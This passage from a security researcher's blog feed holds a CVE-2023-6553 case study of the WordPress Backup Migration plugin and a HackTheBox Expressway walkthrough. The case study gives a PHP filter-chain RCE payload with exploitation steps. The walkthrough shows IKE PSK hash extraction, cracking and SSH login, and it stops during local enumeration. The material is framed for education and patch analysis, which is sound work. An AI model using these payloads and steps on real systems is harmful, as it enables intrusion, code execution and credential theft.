directory restrictions.</li><li><strong>Path Validation (Lines 103–128):</strong> The developers added a “Sanity Check” layer. For example, it now checks if content-dir matches the expected WordPress plugin structure (/plugins/backup-backup/). If an attacker tries to point content-abs to /var/, the script now triggers bmiQuickEnd(15) and terminates.</li></ul><h4>2. The “Safety Wrapper” for Deletion: unlinksafe()</h4><p>The most critical part of the patch is the replacement of the raw PHP @unlink() function with a custom wrapper called unlinksafe() in bypasser.php.</p><p><strong>The Patch Logic (Lines 118–130 in bypasser.php):</strong></p><pre>public function unlinksafe($path) {<br>    if (substr($path, 0, 7) == &#39;file://&#39;) { $path = substr($path, 7); }<br>    $path = realpath($path);<br>    if ($path === false) return;<br>    if (strpos($path, &#39;wp-config.php&#39;) !== false) return; // THE KILL SWITCH<br>    @unlink(&#39;file://&#39; . $path);<br>}</pre><ul><li><strong>Explicit Blacklisting:</strong> The function explicitly checks if the string wp-config.php exists within the resolved path. If it does, the function returns immediately without executing the deletion.</li><li><strong>Validation before Destruction:</strong> By running realpath() before deletion, the script ensures that any symlinks or path traversal attempts (like ../) are resolved to their actual location on the disk before checking against the blacklist.</li></ul><h4>3. Protocol Enforcement</h4><p>The patched version shifts to using absolute URIs (e.g., file:///var/www/html/...). By hardcoding parts of the path (like adding /backups or /tmp to the user-supplied headers in backup-heart.php), the developers ensured that even if an attacker controls the base directory, the script will always append a specific subdirectory, limiting the scope of the deletion.</p><h3><strong>Remediation</strong></h3><p><strong>Immediate Action</strong> Update the Backup Migration plugin to version <strong>1.4.0 or later</strong> immediately, as this version addresses the vulnerability.</p><h4><strong>Technical Fixes Applied in 1.4.0</strong></h4><ul><li>Replaced raw @unlink() with the safe wrapper unlinksafe() which validates paths before deletion.</li><li>Added explicit blacklisting of sensitive files like wp-config.php.</li><li>Enforced realpath() resolution to neutralize path traversal sequences.</li><li>Implemented strict whitelist-based validation on all HTTP header inputs.</li></ul><h4><strong>General Hardening Recommendations</strong></h4><ul><li>Restrict file permissions on wp-config.php so the web server user (www-data) cannot delete it.</li><li>Regularly audit installed plugins and remove unused ones.</li><li>Monitor file integrity using tools like Wordfence or a WAF.</li><li>Keep WordPress core, themes, and plugins updated.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccea1c5f8c4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023–6553 WordPress Backup Migration ≤1.3.7 Case Study]]></title>
            <link>https://medium.com/@phantom_hat/cve-2023-6553-wordpress-backup-migration-1-3-7-case-study-31cb8275274b?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/31cb8275274b</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 14:04:29 GMT</pubDate>
            <atom:updated>2026-04-14T06:52:44.024Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ اللهِ الرَّحْمٰنِ الرَّحِيْمِ</p><h3>Introduction</h3><p>The case study focuses on the <strong>CVE-2023–6553</strong> vulnerability, discovered by the <strong>NEX Team</strong>, which exploits the WordPress Backup Migration plugin for version <strong>1.3.7</strong> and below. The CVSS score is <strong>9.8</strong>, making this flaw critical for the target software. It provides an opportunity for unauthenticated remote code execution.</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-6553">NVD</a></p><p>The problem can be traced back to an LFI flaw, which can be leveraged further to achieve a complete RCE via PHP filters.</p><p>Within this case study, we will look into how the flaw works internally and explore the data flow in terms of user input processing, reaching the vulnerable sink, and finally leading to code execution.</p><h3>Target Overview</h3><p>The <em>Backup Migration</em> plugin by BackupBliss is a WordPress plugin designed to facilitate website backups, restoration, and migration. It provides functionality such as scheduled backups and data transfer between environments.</p><p>From a security perspective, the plugin exposes an attack surface through its internal request handling mechanisms, within the file:</p><pre>/wp-content/plugins/backup-backup/includes/backup-heart.php</pre><p>This file processes incoming requests and utilizes user-controlled input to construct file paths. Due to insufficient validation and sanitization, this behavior introduces a <strong>Local File Inclusion (LFI)</strong> vulnerability.</p><p>An attacker can manipulate this input to control the included file path, which under certain conditions can be escalated to <strong>Remote Code Execution (RCE)</strong> through techniques such as PHP filter chain abuse.</p><h3>Discovery and Analysis</h3><h4>Source Point Identification</h4><p>The vulnerability originates in the file:</p><pre>/wp-content/plugins/backup-backup/includes/backup-heart.php</pre><p>At the top of this file, the code checks whether the getallheaders() function is available and, if so, uses it to populate a $fields array from all incoming HTTP request headers:</p><pre>if (isFunctionEnabled(&#39;getallheaders&#39;)) {<br>    $fields = getallheaders();<br>}</pre><p>getallheaders() is an alias for apache_request_headers() and returns an associative array of every header in the HTTP request — meaning all header values are entirely attacker-controlled.</p><h4>Constant Initialization from Headers</h4><p>The code then uses these header values to define several PHP constants:</p><pre>define(&#39;ABSPATH&#39;, $fields[&#39;content-abs&#39;]);<br>define(&#39;WP_CONTENT_DIR&#39;, $fields[&#39;content-content&#39;]);<br>define(&#39;BMI_CONFIG_DIR&#39;, $fields[&#39;content-configdir&#39;]);<br>define(&#39;BMI_BACKUPS&#39;, $fields[&#39;content-backups&#39;]);<br>define(&#39;BMI_ROOT_DIR&#39;, $fields[&#39;content-dir&#39;]);<br>define(&#39;BMI_INCLUDES&#39;, BMI_ROOT_DIR . &#39;includes&#39;);<br>define(&#39;BMI_SAFELIMIT&#39;, intval($fields[&#39;content-safelimit&#39;]));</pre><p>The critical line here is:</p><pre>define(&#39;BMI_ROOT_DIR&#39;, $fields[&#39;content-dir&#39;]);<br>define(&#39;BMI_INCLUDES&#39;, BMI_ROOT_DIR . &#39;includes&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Tph3Q8-1B3biYP2ldngG6Q.png" /></figure><p>The content-dir header value flows directly into BMI_ROOT_DIR, which is then concatenated with the string includes to form BMI_INCLUDES. No sanitization or validation is performed at any point.</p><h4>The Vulnerable Sink</h4><p>Further down in the file, within a try block, the constant reaches a require_once call:</p><pre>    require_once BMI_INCLUDES . &#39;/bypasser.php&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*DzZnkJIgrYccQ4TjyHJKKg.png" /></figure><p>This is the vulnerable sink. The final included path is constructed as:</p><pre>{content-dir header value} + &quot;includes&quot; + &quot;/bypasser.php&quot;</pre><h3>Data Flow Summary</h3><p>Step Value Attacker sends header Content-Dir: hello/ BMI_ROOT_DIR hello/ BMI_INCLUDES hello/includes Final require_once path hello/includes/bypasser.php</p><p>This is a classic <strong>Local File Inclusion (LFI)</strong> vulnerability — attacker-controlled input reaches a file inclusion function without sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*8byyEnIosY1X9kxu" /></figure><h4>Why Direct LFI is Limited</h4><p>A naive exploitation attempt (e.g., pointing content-dir to a known sensitive file) is blocked by the appended suffix includes/bypasser.php. Since modern PHP versions have removed null byte (%00) support in file paths, the traditional null-byte truncation technique is not viable here.</p><p>This shifts the exploitation strategy to <strong>PHP Filter Chains</strong>.</p><h3>Exploitation via PHP Filter Chain</h3><h4>Concept</h4><p>PHP’s php://filter stream wrapper allows chaining multiple transformations on a data stream. By chaining iconv encoding transformations with base64-decode operations, it&#39;s possible to construct a filter chain that <strong>generates arbitrary PHP code at runtime</strong> — without needing to write any file to disk.</p><p>The key insight is that php://temp can serve as an in-memory resource. When a crafted filter chain is passed to require_once, the output of the chain is interpreted and executed as PHP code, achieving <strong>Remote Code Execution (RCE)</strong>.</p><p>Reference: <a href="https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it">Synacktiv’s PHP Filter Chain research</a></p><h4>Generating the Payload</h4><p>Using the <a href="https://github.com/synacktiv/php_filter_chain_generator">php_filter_chain_generator</a>:</p><pre>python php_filter_chain_generator.py --chain &#39;&lt;?php system($_POST[0]); ?&gt;&#39;</pre><p>This generates a long filter chain string starting with:</p><pre>php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<br>/resource=php://temp</pre><p>At runtime, PHP processes these chained transformations and produces the payload:</p><pre>&lt;?php system($_POST[0]); ?&gt;</pre><p>which is then executed by the PHP engine.</p><h4>Manual Exploitation Steps</h4><ol><li>Navigate to the plugin endpoint:</li></ol><ul><li>/wp-content/plugins/backup-backup/includes/backup-heart.php</li></ul><p>2. The file enforces POST-only access:</p><pre>  // Allow only POST requests<br>  if ($_SERVER[&#39;REQUEST_METHOD&#39;] !== &#39;POST&#39;) {<br>    exit;<br>  }</pre><p>3. Change the request method to POST in Burp Suite.</p><p>4. Add the Content-Dir header with the generated filter chain as its value.</p><p>5. Send a POST parameter 0 with the OS command to execute (e.g., id, whoami).</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*d841tmc-d8vRuOeOwymtdA.png" /></figure><blockquote><strong><em>Note:</em></strong><em> The response from </em><em>backup-heart.php does not return command output directly, since the file doesn&#39;t echo responses. Command execution can be confirmed via time-based techniques (e.g., </em><em>sleep 10) or by uploading a dedicated webshell.</em></blockquote><h4>Automated Exploitation</h4><p>I developed it’s full exploit script automates the above process and provides a stable webshell shell by:</p><p><a href="https://github.com/0x00phantom-hat/CVE-2023-6553-RCE-Exploit">GitHub - 0x00phantom-hat/CVE-2023-6553-RCE-Exploit: The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*r0aXQZxkbC_3nyzf3nekiA.png" /></figure><ol><li>Sending the filter chain to trigger RCE</li><li>Using that RCE to upload a PHP webshell to a web-accessible path</li><li>Providing a cleaner way for command execution</li></ol><p>The script also includes a --check flag to safely verify whether a target is vulnerable without executing any commands, and formats output using rich tables for readability.</p><h3>Patch Analysis</h3><p>Here’s the Patch provided by official developers.</p><p><a href="https://plugins.trac.wordpress.org/changeset?old_path=/backup-backup/tags/1.3.7/includes/backup-heart.php&amp;old=3502837&amp;new_path=/backup-backup/tags/1.3.8/includes/backup-heart.php&amp;new=3502837">https://plugins.trac.wordpress.org/changeset?old_path=/backup-backup/tags/1.3.7/includes/backup-heart.php&amp;old=3502837&amp;new_path=/backup-backup/tags/1.3.8/includes/backup-heart.php&amp;new=3502837</a></p><p>Analzing this Patch reveals that they included a security check function which they used on other headers too including the vulnerable header Content-Dir</p><pre>  30  <br>  31   // Filter and prevent PHP filter injection<br>  32   function filterChainFix($content) {<br>  33    <br>  34     // Make sure it exist and is string<br>  35     if (!is_string($content)) die(&quot;Incorrect parameters.&quot;);<br>  36    <br>  37     // Check if it&#39;s not larger than max allowed path length (default systems)<br>  38     if (strlen($content) &gt; 256) die(&quot;Incorrect parameters.&quot;);<br>  39    <br>  40     // Check if the path does not contain &quot;php:&quot;<br>  41     if (strpos($content, &quot;php:&quot;)) die(&quot;Incorrect parameters.&quot;);<br>  42    <br>  43     // Check if the path contain &quot;|&quot;, it&#39;s not possible to use this character with our backups paths<br>  44     if (strpos($content, &quot;|&quot;)) die(&quot;Incorrect parameters.&quot;);<br>  45    <br>  46     // Check if the directory/file exist otherwise fail<br>  47     if (!(is_dir($content) || file_exists($content))) die(&quot;Incorrect parameters.&quot;);<br>  48    <br>  49     // Return correct content<br>  50     return $content;<br>  51    <br>  52   }</pre><p>It looks secure, first checking the content is it string or not<br>then length check because filterchains are usually too lengthy<br>on 3rd check it’s checking that the string doesn’t contain php://<br>checking if the value contains | or not<br>then final check is directory exist or not<br>then it will return the value</p><pre>62     define(&#39;BMI_ROOT_DIR&#39;, $fields[&#39;content-dir&#39;]); // OLD and unsanitized<br>  85   define(&#39;BMI_ROOT_DIR&#39;, filterChainFix($fields[&#39;content-dir&#39;])); // Patched and sanatized</pre><pre>118       require_once BMI_INCLUDES . &#39;/bypasser.php&#39;; // OLD and Vulnerable to LFI to RCE using PHP Filter Chain<br>  141     require_once filterChainFix(BMI_INCLUDES) . &#39;/bypasser.php&#39;; // Patched using sanatization function which prevents Attackers to input malicious LFI payload</pre><p>then the filterChainFix checking function is implemented on headers too like content-abs</p><h3>Remediation</h3><p>The root cause is the absence of any validation on HTTP header values before they are used in file inclusion. The fix, released in version <strong>1.3.8</strong>, moves these values away from attacker-controlled headers and adds strict path validation. Users should update to 1.3.8 or later immediately.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31cb8275274b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Expressway HackTheBox Writeup]]></title>
            <link>https://medium.com/@phantom_hat/expressway-hackthebox-writeup-e379f33d1d40?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/e379f33d1d40</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Mon, 09 Mar 2026 12:52:33 GMT</pubDate>
            <atom:updated>2026-03-09T12:52:33.664Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>بِسْمِ اللهِ الرَّحْمٰنِ الرَّحِيْمِ</strong></p><h3>Synopsis</h3><p><strong>Overview:</strong><br>The Expressway is a Linux machine that provides the service of IKE/IPsec VPN. It is possible to leak and crack the VPN PSK hash by abusing the IKE aggressive mode. This allows us to obtain SSH access as a low-privileged user. Local exploitation reveals that the sudo binary is vulnerable and can be exploited using CVE-2025–32463 to obtain root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*4Ab2W2o2txcDxtxyVsw2wg.png" /><figcaption>EXPRESSWAY HACKTHEBOX MACHINE</figcaption></figure><h3>Recon</h3><p>Starting Enumeration with NMAP</p><pre>nmap -sS -A -p- --min-rate 10000 -T5 -O -sV -sC -vv --reason 10.129.3.182 -oA report</pre><pre># Nmap 7.98 scan initiated Mon Mar  9 14:14:27 2026 as: nmap -sS -A -p- --min-rate 10000 -T5 -O -sV -sC -vv --reason -oA report 10.129.3.182<br>Warning: 10.129.3.182 giving up on port because retransmission cap hit (2).<br>Nmap scan report for 10.129.3.182<br>Host is up, received timestamp-reply ttl 63 (0.14s latency).<br>Scanned at 2026-03-09 14:14:28 PKT for 18s<br>Not shown: 63969 closed tcp ports (reset), 1565 filtered tcp ports (no-response)<br>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 63 OpenSSH 10.0p2 Debian 8 (protocol 2.0)<br>Device type: general purpose|router|phone|storage-misc|media device<br>Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (96%), Google Android 10.X (94%), HP embedded (93%)<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:google:android:10 cpe:/h:hp:p2000_g3<br>OS fingerprint not ideal because: Timing level 5 (Insane) used<br>Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 2.6.32 - 3.13 (96%), Linux 5.0 - 5.14 (96%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (96%), OpenWrt 22.03 (Linux 5.10) (95%), Linux 5.0 (95%), Android 9 - 10 (Linux 4.9 - 4.14) (94%), Linux 3.2 - 4.14 (94%), Linux 2.6.32 - 3.10 (93%), HP P2000 G3 NAS device (93%)<br>No exact OS matches for host (test conditions non-ideal).<br>TCP/IP fingerprint:<br>SCAN(V=7.98%E=4%D=3/9%OT=22%CT=1%CU=40012%PV=Y%DS=2%DC=T%G=N%TM=69AE8F86%P=x86_64-pc-linux-gnu)<br>SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)<br>SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)<br>OPS(O1=M552ST11NW9%O2=M552ST11NW9%O3=M552NNT11NW9%O4=M552ST11NW9%O5=M552ST11NW9%O6=M552ST11)<br>WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)<br>ECN(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW9%CC=Y%Q=)<br>T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)<br>T2(R=N)<br>T3(R=N)<br>T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)<br>T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>T7(R=N)<br>U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)<br>IE(R=Y%DFI=N%T=40%CD=S)<br><br>Uptime guess: 13.652 days (since Mon Feb 23 22:35:18 2026)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=263 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 143/tcp)<br>HOP RTT       ADDRESS<br>1   150.40 ms 10.10.14.1<br>2   150.33 ms 10.129.3.182<br><br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Mar  9 14:14:46 2026 -- 1 IP address (1 host up) scanned in 19.28 seconds</pre><p>Only one TCP port was open: SSH. Since SSH is typically hardened, I proceeded with a UDP scan to look for additional services.</p><pre>nmap -sU --top-ports 50 --min-rate 10000 -T5  --reason 10.129.3.182 -oA udp<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 14:15 +0500<br>Nmap scan report for 10.129.3.182<br>Host is up, received timestamp-reply ttl 63 (0.18s latency).<br>Not shown: 45 open|filtered udp ports (no-response)<br>PORT    STATE  SERVICE REASON<br>53/udp  closed domain  port-unreach ttl 63<br>67/udp  closed dhcps   port-unreach ttl 63<br>500/udp open   isakmp  udp-response ttl 63<br>631/udp closed ipp     port-unreach ttl 63<br>999/udp closed applix  port-unreach ttl 63<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds</pre><p>Interesting 1 UDP Port is open and there is a service running named isakmp. Let’s start our enumeration on this port with NMAP Scripts.</p><pre>nmap -sU -p 500 --min-rate 10000 -T5 -A -sC -sV -vv  --reason 10.129.3.182 -oA udp</pre><pre># Nmap 7.98 scan initiated Mon Mar  9 14:16:05 2026 as: nmap -sU -p 500 --min-rate 10000 -T5 -A -sC -sV -vv --reason -oA udp 10.129.3.182<br>Nmap scan report for 10.129.3.182<br>Host is up, received echo-reply ttl 63 (0.15s latency).<br>Scanned at 2026-03-09 14:16:06 PKT for 134s<br><br>PORT    STATE SERVICE REASON              VERSION<br>500/udp open  isakmp? udp-response ttl 63<br>| ike-version: <br>|   attributes: <br>|     XAUTH<br>|_    Dead Peer Detection v1.0<br>Too many fingerprints match this host to give specific OS details<br>TCP/IP fingerprint:<br>SCAN(V=7.98%E=4%D=3/9%OT=%CT=%CU=36220%PV=Y%DS=2%DC=I%G=N%TM=69AE905C%P=x86_64-pc-linux-gnu)<br>SEQ(CI=Z%II=I)<br>T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)<br>T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)<br>IE(R=Y%DFI=N%T=40%CD=S)<br><br>Network Distance: 2 hops<br><br>TRACEROUTE (using port 500/udp)<br>HOP RTT       ADDRESS<br>1   135.41 ms 10.10.14.1<br>2   ... 30<br><br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Mar  9 14:18:20 2026 -- 1 IP address (1 host up) scanned in 135.32 seconds</pre><p>Netcat Also confirmed that. after connecting to that port with netcat it shows the banner.</p><pre>nc -uv 10.129.3.182 500<br>Connection to 10.129.3.182 500 port [udp/isakmp] succeeded!</pre><h4>ISAKMP/IPsec Enumeration</h4><p>After Searching about ISAKMP i got HackTricks Blog which explains what ISAKMP and how to enumerate that.</p><p><a href="https://book.hacktricks.wiki/en/network-services-pentesting/ipsec-ike-vpn-pentesting.html">500/udp - Pentesting IPsec/IKE VPN</a></p><p>IPsec is a VPN Technology Commonly used to establish secure tunnels between networks or remote users and a gateway. IKE performs authentication and key exchange through the <strong>ISAKMP framework</strong></p><p>Starting by Finding a Valid Transfromation (the specific combination of security protocols and cryptographic algorithms that two peers negotiate to protect data)</p><p>let’s run ike-scan which helps us to interact with IPsec VPN service.</p><pre>ike-scan -M 10.129.3.182</pre><pre>Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)<br>10.129.3.182 Main Mode Handshake returned<br> HDR=(CKY-R=8d14b6d7d548fa3a)<br> SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)<br> VID=09002689dfd6b712 (XAUTH)<br> VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)<br><br>Ending ike-scan 1.9.6: 1 hosts scanned in 0.170 seconds (5.89 hosts/sec).  1 returned handshake; 0 returned notify</pre><p>After analyzing the output we see that the Authentication method is PSK (Pre-Shared Key)</p><p>let’s Quickly test with aggressive mode and gather more details.</p><pre> ╰─λ ike-scan -M -A 10.129.3.182<br>Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)<br>10.129.3.182 Aggressive Mode Handshake returned<br> HDR=(CKY-R=d0515a511772298c)<br> SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)<br> KeyExchange(128 bytes)<br> Nonce(32 bytes)<br> ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)<br> VID=09002689dfd6b712 (XAUTH)<br> VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)<br> Hash(20 bytes)<br><br>Ending ike-scan 1.9.6: 1 hosts scanned in 0.159 seconds (6.29 hosts/sec).  1 returned handshake; 0 returned notify</pre><p>Aggressive mode scanning has shown that the VPN uses 3DES encryption, SHA1 hashing, DH Group 2, and PSK authentication. Additionally, the VPN’s handshake has exposed the identity of the user ike@expressway.htb<br>and has shown support for XAUTH, suggesting further authentication methods involving usernames and passwords.</p><p>let’s quickly add expressway.htb to our hosts file</p><pre>echo &quot;10.129.3.182    expressway.htb&quot; &gt;&gt; /etc/hosts</pre><h3>IKE Aggressive Mode PSK Hash Disclosure</h3><p>Now we will use the leaked ID from our previous aggressive scan so that it leaks the hash and then we crack the hash offline.</p><pre> ╰─λ ike-scan -P -M -A -n ike expressway.htb<br>Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)<br>10.129.3.182 Aggressive Mode Handshake returned<br> HDR=(CKY-R=a8495a532f0bca8a)<br> SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)<br> KeyExchange(128 bytes)<br> Nonce(32 bytes)<br> ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)<br> VID=09002689dfd6b712 (XAUTH)<br> VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)<br> Hash(20 bytes)<br><br>IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):<br>52eaf749c03b243cf776063fe1c771d8e9735e099ef4efc47955727f2b95764cf9509767ca4d7fd214f1faf12b028894cfdca0ca5cb0c78c35bddaee5cca9fb93d2b658be92602b7d4089740bc8f576e201be07445ecae676aa94d8c2c8c2f364a100c5e8bad61a0c22b39e156644d475b82c94c9609aa427a772cb66001b92d:cd4ce9a9bde952972b6f5cc5970f00d728440feb08c6f86c5c149cae7997436be35dc9c5429d1ad59c180e131a2f46ba3f0129ee141d7039e08027d4aa8739bb60d502778e2e5efa9736a4ea28426914370436d6b5214583b9ac214da433521aec5eafbe5e2310891e2df455254ca5a9542f45de292e366c06d63ff1c774021c:a8495a532f0bca8a:a7f3a5a96e986e02:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:3a2dbe16d25e8cee2d92b7500f5d324cd39fdfe0:f2bb96c49f0685acced3616517fa0fe8f11a136e77e6f7dbe4c24da7d54e5a9d:22afc4035165243c273983c02dfdc9a6540fea41<br>Ending ike-scan 1.9.6: 1 hosts scanned in 0.151 seconds (6.64 hosts/sec).  1 returned handshake; 0 returned notify</pre><p>Now we will save the hash to a file then convert it into john the ripper format using ikescan2john and then we can easily crack it with john the ripper.</p><pre> ╰─λ ike-scan -M -A -n ike --pskcrack=hash.hash expressway.htb<br>Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)<br>10.129.3.182 Aggressive Mode Handshake returned<br> HDR=(CKY-R=4eeaa552d88302ee)<br> SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)<br> KeyExchange(128 bytes)<br> Nonce(32 bytes)<br> ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)<br> VID=09002689dfd6b712 (XAUTH)<br> VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)<br> Hash(20 bytes)<br><br>Ending ike-scan 1.9.6: 1 hosts scanned in 0.267 seconds (3.74 hosts/sec).  1 returned handshake; 0 returned notify</pre><p>now convert it for john the ripper format using ikescan2john</p><pre>ikescan2john hash.hash &gt; hash.txt</pre><p>now crack it with jtr</p><pre> ╰─λ john hash.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (IKE, PSK [HMAC MD5/SHA1 32/64])<br>Cost 1 (hash algorithm used for hmac [1:MD5 2:SHA1]) is 2 for all loaded hashes<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>0g 0:00:00:13 9.06% (ETA: 15:28:43) 0g/s 111430p/s 111430c/s 111430C/s nattynat4..natashabedingfield<br>0g 0:00:00:23 17.34% (ETA: 15:28:32) 0g/s 117466p/s 117466c/s 117466C/s wriant..wramoonfal<br>0g 0:00:00:40 35.64% (ETA: 15:28:12) 0g/s 131171p/s 131171c/s 131171C/s mytyjo..mytbone1<br>0g 0:00:00:48 41.75% (ETA: 15:28:14) 0g/s 126865p/s 126865c/s 126865C/s longshotibet..longboard7<br>freakingrockstarontheroad (?)<br>1g 0:00:01:00 DONE (2026-03-09 15:27) 0.01665g/s 133941p/s 133941c/s 133941C/s freakkitchen..frazee305<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed</pre><p>Password is cracked now let’s try to use this password on ssh may be the password also reused on SSH.</p><pre>ssh ike@expressway.htb</pre><pre>ike@expressway:~$ whoami<br>ike<br>ike@expressway:~$ id<br>uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)<br>ike@expressway:~$</pre><p>Logged in as IKE</p><h3>Privilege Escalation</h3><p>i started Local enumeration and noted some interesting things running locally.</p><pre>ike@expressway:~$ netstat -tunlp<br>(Not all processes could be identified, non-owned process info<br> will not be shown, you would have to be root to see it all.)<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name<br>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -<br>tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -<br>tcp6       0      0 :::22                   :::*                    LISTEN      -<br>tcp6       0      0 ::1:25                  :::*                    LISTEN      -<br>udp        0      0 0.0.0.0:500             0.0.0.0:*                           -<br>udp     4224      0 0.0.0.0:68              0.0.0.0:*                           -<br>udp        0      0 0.0.0.0:68              0.0.0.0:*                           -<br>udp        0      0 0.0.0.0:69              0.0.0.0:*                           -<br>udp        0      0 0.0.0.0:4500            0.0.0.0:*                           -<br>udp6       0      0 :::500                  :::*                                -<br>udp6       0      0 :::69                   :::*                                -<br>udp6       0      0 :::4500                 :::*                                -<br>ike@expressway:~$</pre><p>we have some interesting ports 25 SMTP and 69 TFTP. at start i started enumeration with SMTP but the authentication is disabled so i moved to enumerate tftp.</p><p>i started with ps aux to see the tftp process</p><pre>ike@expressway:~$ ps auxww | grep tftpd<br>root        3809  0.0  0.0   2900   708 ?        Ss   09:06   0:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp<br>ike        46006  0.0  0.0   6536  2248 pts/0    S+   11:37   0:00 grep tftpd</pre><p>we got the path where tftp is serving the files.</p><pre>ike@expressway:~$ cd /srv/tftp/<br>ike@expressway:/srv/tftp$ ls -lsa<br>total 16<br>4 drwxr-xr-x 2 root root 4096 Sep 17 10:28 .<br>4 drwxr-xr-x 3 root root 4096 Jul 30  2025 ..<br>8 -rw-r--r-- 1 root root 4479 Sep 17 10:28 ciscortr.cfg<br>ike@expressway:/srv/tftp$</pre><p>there’s a file 